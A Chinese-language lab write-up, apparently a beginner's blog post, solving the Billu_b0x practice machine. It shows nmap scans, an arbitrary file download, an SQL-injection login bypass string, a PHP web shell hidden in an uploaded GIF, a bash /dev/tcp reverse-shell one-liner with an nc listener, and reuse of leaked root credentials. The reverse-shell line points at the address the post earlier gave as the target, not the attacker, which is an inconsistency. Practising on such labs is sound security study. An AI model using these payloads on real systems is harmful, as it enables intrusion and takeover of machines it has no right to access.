靶机练习之Billu_b0x
一、前言
这个靶场算是入门级别的吧·!对于我这个小白来说还是有一定难度的。在做题过程中遇到的问题,也侧面反映了自己对于web渗透认识还是不足的,,还需要更进一步的学习。
二、信息收集
1、主机发现
Nmap扫描同子网段下的主机
nmap -sP 192.168.79.0/24
发现同网段的192.168.79.150存活主机
2、扫描端口
发现目标主机开放了22,80端口
打开浏览器查看
3、扫描网站目录
三、漏洞发现与利用
逐一访问之前探测出来的页面,在访问到test.php时,提示file为空参数,需要传参,尝试传参?file=/etc/passwd,没有响应,于是改为使用POST方法,能够成功将passwd文件下载下来,存在任意文件下载。
通过审计c.php直接获得了以下信息:
mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");
##***直接注入***拿到index.php的源码,找到关键逻辑部分。我们看到目标先将我们输入的单引号清除,之后再验证登录信息的正确性,比较特殊的是验证顺序是先密码再账号,怪不得之前的尝试一直失败,知道源码之后绕过就很简单了,我们构造
uname=or 1=1#
pass=\
(此处为借鉴,大佬tql)
也可以在知道数据库的账号名和密码(前面已经发现)后直接登陆数据库,查看auth表找到后台登陆的用户名和密码
成功登录
简单的浏览该网页,发现存在文件上传入口,尝试上传shell,根据提示信息只允许上传图片文件。
进一步审计刚刚下载下来的源码,可以发现show user模块存在文件包含。
上传一张普通的照片,用bp进行拦截数据包,在图片末尾添加GIF89A <?php system($_GET['cmd']);?> 成功上传
反弹shell
echo "bash -i >& /dev/tcp/192.168.79.150/6767 0>&1" | bash
这里需要留意要进行URL编码(我在这个地方困惑了好久,导致一直无法反弹shell成功)
kali进行监听
nc -lvp 6767
接下来进行提权,前面扫描出目标主机开放了22端口,那么查看相关的敏感文件,phpMyAdmin配置文件,发现
然后尝试用这个root用户和口令去连ssh,成功连接上
提权有好多种方式,这仅仅是碰巧走了一个捷径。看了其他的wp,发现有好多的提权方式,利用msf进行提权,利用linux版本自身的漏洞进行提权等等,接下去再去实践了。